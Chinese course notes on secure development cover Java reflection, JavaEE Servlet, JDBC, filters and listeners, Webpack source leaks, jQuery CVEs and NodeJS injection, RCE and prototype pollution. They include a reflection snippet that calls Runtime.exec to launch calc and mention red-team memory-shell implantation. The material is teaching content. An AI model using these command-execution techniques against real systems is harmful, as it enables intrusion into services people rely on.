User uu=(User) con2.newInstance("xiaodi",30,"man");
System.out.println(uu);

Java-反射-不安全命令执行&反序列化链构造

  • 1、反射实现-命令执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    -原型:
    Runtime.getRuntime().exec("calc");
    -反射:
    Class aClass = Class.forName("java.lang.Runtime");
    Method[] methods = aClass.getMethods();
    for (Method me:methods){
    System.out.println(me);
    }
    Method exec = aClass.getMethod("exec", String.class);
    Method getRuntimeMethod = aClass.getMethod("getRuntime");
    Object runtime = getRuntimeMethod.invoke(aClass);
    exec.invoke(runtime, "calc.exe");

    Class c1= Class.forName("java.lang.Runtime");
    Constructor m = c1.getDeclaredConstructor();
    m.setAccessible(true);
    c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc");
  • 2、不安全的反射对象
            指应用程序使用具有反射功能的外部输入来选择要使用的类或代码,
    可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查
    参考分析:https://zhuanlan.zhihu.com/p/165273855
    利用结合:https://xz.aliyun.com/t/7031(反序列化利用链)

思维导图

22安全开发

知识点:

  • 29、JavaEE-JDBC-SQL预编译
  • 30、JavaEE-HTTP-Filter过滤器
  • 31、JavaEE-对象域-Listen监听器

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充



JavaEE-预编译-SQL

1
2
3
4
5
预编译SQL语句并执行,预防SQL注入问题 
String safesql="select * from news where id=?";
PreparedStatement preparedStatement=connection.prepareStatement();
preparedStatement.setString(1,s);
ResultSet resultSet=preparedStatement.executeQuery();

JavaEE-过滤器-Filter

(和安全相关的技术:内存马,权限控制)
        Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

  • 1、创建过滤器
  • 2、过滤器内置方法
    init doFilter destroy
  • 3、过滤器触发流程
    1
    2
    3
    4
    5
    6
    7
    8
    9
    @WebFilter("/xss")
    <filter>
    <filter-name>xssFilter</filter-name>
    <filter-class>com.example.filter.xssFilter</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>xssFilter</filter-name>
    <url-pattern>/xss</url-pattern>
    </filter-mapping>
  • 4、过滤器安全场景
    Payload检测,权限访问控制,红队内存马植入,蓝队清理内存马等
    内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

JavaEE-监听器-Listen

参考:https://blog.csdn.net/qq_52797170/article/details/124023760

  • 监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
  • 监听域对象的属性发生修改的事件
  • 监听在事件发生前、发生后做一些必要的处理
    1、创建监听器
    2、监听器内置方法
    3、监听器触发流程
    1
    2
    3
    4
    @WebListener
    <listener>
    .......
    </listener>
    4、监听器安全场景
    代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等

思维导图

22安全开发

知识点:

  • 27、JavaEE-HTTP-Servlet技术
  • 28、JavaEE-数据库-JDBC&Mybatis

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

JavaEE-HTTP-Servlet&路由&周期

参考:https://blog.csdn.net/qq_52173163/article/details/121110753

  • 1、解释
            Servlet是运行在Web服务器或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。使用Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。本章内容详细讲解了web开发的相关内容以及servlet相关内容的配置使用,是JAVAEE开发的重中之重。

  • 2、创建和使用Servlet
    -创建一个类继承HttpServlet
    -web.xml配置Servlet路由
    -WebServlet配置Servlet路由
    -写入内置方法(init service destroy doget dopost)

  • 3、Servlet生命周期
    见图

  • 4、处理接受和回显

    1
    2
    3
    4
    5
    6
    7
    8
    9
    HttpServletRequest       — ServletRequest的子接口  
    getParameter(name) — String 通过name获得值
    getParameterValues — String[ ] 通过name获得多值

    HttpServletResponse — ServletResponse的子接口
    setCharacterEncoding() — 设置编码格式
    setContentType() — 设置解析语言
    getWriter() — 获得一个PrintWriter字符输出流输出数据
    PrintWriter — 接受符合类型数据

JavaEE-数据库-JDBC&Mybatis&库

(java和数据库连接,三种方式,自带官方库jdbc、第三方 hibernate和mybatis)

  • 原生态数据库开发:JDBC
    参考:https://www.jianshu.com/p/ed1a59750127
            JDBC(Java Database connectivity): 由java提供,用于访问数据库的统一API接口规范.数据库驱动: 由各个数据库厂商提供,用于访问数据库的jar包(JDBC的具体实现),遵循JDBC接口,以便java程序员使用!

  • 1、下载jar
    https://mvnrepository.com/

  • 2、引用封装jar
    创建lib目录,复制导入后,添加为库

  • 3、注册数据库驱动

    1
    Class.forName("com.mysql.jdbc.Driver");  
  • 4、建立数据库连接

    1
    2
    String url ="jdbc:mysql://localhost:3306/demo01";
    Connection connection=DriverManager.getConnection(url,"x","x");
  • 5、创建Statement执行SQL

    1
    2
    Statement statement= connection.createStatement();
    ResultSet resultSet = statement.executeQuery(sql);
  • 6、结果ResultSet进行提取

    1
    2
    3
    4
    5
    while (resultSet.next()){
    int id = resultSet.getInt("id");
    String page_title = resultSet.getString("page_title");
    .......
    }
  • 7、安全修复SQL注入:预编译
    原理:提前编译好执行逻辑,你注入的语句不会改变原有逻辑!

  • 8、框架数据库开发:Mybatis
            Mybatis是一款优秀的持久层框架,避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的过程,减少了代码的冗余,减少程序员的操作。

思维导图

22安全开发

知识点:

  • 25、三方库-JQuery-使用&安全
  • 26、打包器-WebPack-使用&安全

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    内容筹备中……

打包器-WebPack-使用&安全

参考:https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA
        Webpack是一个模块打包器。在Webpack中会将前端的所有资源文件都作为模块处理。它将根据模块的依赖关系进行分析,生成对应的资源。

五个核心概念:

  1. 【入口(entry)】:指示webpack应该使用哪个模块,来作为构建内部依赖图开始。
  2. 【输出(output)】:在哪里输出文件,以及如何命名这些文件。
  3. 【Loader】:处理那些非JavaScript文件(webpack 自身只能解析 JavaScript和json)。webpack 本身只能处理JS、JSON模块,如果要加载其他类型的文件(模块),就需要使用对应的loader。
  4. 【插件(plugins)】:执行范围更广的任务,从打包到优化都可以实现。
  5. 【模式(mode)】:有生产模式production和开发模式development。

使用:

1、创建需打包文件
2、安装webpack库
3、创建webpack配置文件
4、运行webpack打包命令

安全:

1、WebPack源码泄漏-模式选择
2、模糊提取安全检查-PacketFuzzer
https://github.com/rtcatc/Packer-Fuzzer
原生态JS:前端语言直接浏览器显示源代码
NodeJS:服务段语言浏览器不显示源代码
WebPack:打包模式选择开发者模式后会造成源码泄漏(nodejs vue)

第三方库-JQuery-使用&安全

        jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。设计目的是为了写更少的代码,做更多的事情。它封装JavaScript常用功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。

1、使用:
引用路径:https://www.jq22.com/jquery-info122
2、安全:
检测:http://research.insecurelabs.org/jquery/test/
测试:CVE-2020-11022/CVE-2020-11023
参考:https://blog.csdn.net/weixin_44309905/article/details/120902867

思维导图

22安全开发

知识点:

  • 22、NodeJS-开发环境&功能实现
  • 23、NodeJS-安全漏洞&案例分析
  • 24、NodeJS-开发指南&特有漏洞

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    内容筹备中……

环境搭建-NodeJS-解析安装&库安装

1、文档参考:

https://www.w3cschool.cn/nodejs/

2、Nodejs安装

https://nodejs.org/en

3、三方库安装

  • express
    Express是一个简洁而灵活的node.js Web应用框架

  • body-parser
    node.js中间件,用于处理 JSON, Raw, Text和URL编码的数据。

  • cookie-parser
    这就是一个解析Cookie的工具。通过req.cookies可以取到传过来的cookie,并把它们转成对象。

  • multer
    node.js中间件,用于处理 enctype=”multipart/form-data”(设置表单的MIME编码)的表单数据。

  • mysql
    Node.js来连接MySQL专用库,并对数据库进行操作。

安装命令:

1
2
3
4
5
npm i express
npm i body-parser
npm i cookie-parser
npm i multer
npm i mysql

功能实现-NodeJS-数据库&文件&执行

  • an
    1、Express开发
    2、实现用户登录
    3、加入数据库操作

  • 文件操作
    1、Express开发
    2、实现目录读取
    3、加入传参接受

  • 命令执行(RCE)
    1、eval
    2、exec & spawnSync

安全问题-NodeJS-注入&RCE&原型链

  • 1、SQL注入&文件操作
  • 2、RCE执行&原型链污染
  • 3、NodeJS黑盒无代码分析
    实战测试NodeJS安全:
    判断:参考前期的信息收集
    黑盒:通过对各种功能和参数进行payload测试
    白盒:通过对代码中写法安全进行审计分析
  • 4、原型链污染
    如果攻击者控制并修改了一个对象的原型,(proto)
    那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

案例分析-NodeJS-CTF题目&源码审计

开发指南-NodeJS-安全SecGuide项目

https://github.com/Tencent/secguide